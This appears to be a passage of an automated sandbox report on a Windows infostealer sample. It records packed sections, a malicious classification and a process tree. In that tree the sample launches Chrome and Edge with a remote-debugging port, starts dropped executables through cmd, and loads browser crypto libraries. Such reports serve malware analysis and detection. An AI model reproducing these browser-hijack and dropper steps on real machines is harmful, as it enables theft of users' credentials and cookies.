Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97CAB0	0_2_6C97CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D2AB0	0_2_6C9D2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9622A0	0_2_6C9622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C994AA0	0_2_6C994AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A8AC0	0_2_6C9A8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C981AF0	0_2_6C981AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AE2F0	0_2_6C9AE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A9A60	0_2_6C9A9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96F380	0_2_6C96F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D53C8	0_2_6C9D53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AD320	0_2_6C9AD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C965340	0_2_6C965340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C370	0_2_6C97C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00077049	31_2_00077049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00078860	31_2_00078860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_000778BB	31_2_000778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00072D10	31_2_00072D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_000731A8	31_2_000731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00034DE0	31_2_00034DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00067F36	31_2_00067F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_00034B30	31_2_00034B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 31_2_0007779B	31_2_0007779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C99CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9A94D0 appears 90 times

Source: file.exe, 00000000.00000002.2740203120.00000000232AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2740203120.00000000232AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2744649279.000000006CBE5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: wjbierbf ZLIB complexity 0.9948790015243902
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.997658378746594
Source: random[1].exe.0.dr	Static PE information: Section: wxwmfdjn ZLIB complexity 0.9948740142106065
Source: DocumentsIDHJEBGIEB.exe.0.dr	Static PE information: Section: ZLIB complexity 0.997658378746594
Source: DocumentsIDHJEBGIEB.exe.0.dr	Static PE information: Section: wxwmfdjn ZLIB complexity 0.9948740142106065
Source: skotes.exe.26.dr	Static PE information: Section: ZLIB complexity 0.997658378746594
Source: skotes.exe.26.dr	Static PE information: Section: wxwmfdjn ZLIB complexity 0.9948740142106065
Source: random[1].exe.31.dr	Static PE information: Section: ugpfseiq ZLIB complexity 0.9941717416429587
Source: 9f1158ad0a.exe.31.dr	Static PE information: Section: ugpfseiq ZLIB complexity 0.9941717416429587

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@78/296@30/30

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9C7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\MZ1DP1HH.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8820:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\6ea345fd-ceed-442f-9eec-eb8451912eec.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2736996153.000000001D265000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744528513.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2743976104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2736996153.000000001D265000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744528513.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2743976104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2736996153.000000001D265000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744528513.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2743976104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2736996153.000000001D265000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744528513.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2743976104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2736996153.000000001D265000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744528513.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2743976104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2736996153.000000001D265000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2743976104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2736996153.000000001D265000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744528513.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2743976104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2385753906.000000001D165000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2473915947.000000001D159000.00000004.00000020.00020000.00000000.sdmp, DHIDHIEGIIIECAKEBFBA.0.dr, AAAAKJKJEBGHJKFHIDGC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2736996153.000000001D265000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2743976104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2736996153.000000001D265000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2743976104.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsIDHJEBGIEB.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2172,i,7858906980099681468,10361499139629388727,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2536 --field-trial-handle=2340,i,18394194686308781120,9106912296226367801,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2744 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6452 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6700 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7096 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7096 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDHJEBGIEB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDHJEBGIEB.exe "C:\Users\user\DocumentsIDHJEBGIEB.exe"
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6744 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe "C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDHJEBGIEB.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2172,i,7858906980099681468,10361499139629388727,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2536 --field-trial-handle=2340,i,18394194686308781120,9106912296226367801,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2744 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6452 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6700 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7096 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7096 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6744 --field-trial-handle=2032,i,9866007363658274551,316886010182620687,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDHJEBGIEB.exe "C:\Users\user\DocumentsIDHJEBGIEB.exe"
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe "C:\Users\user\AppData\Local\Temp\1008938001\9f1158ad0a.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
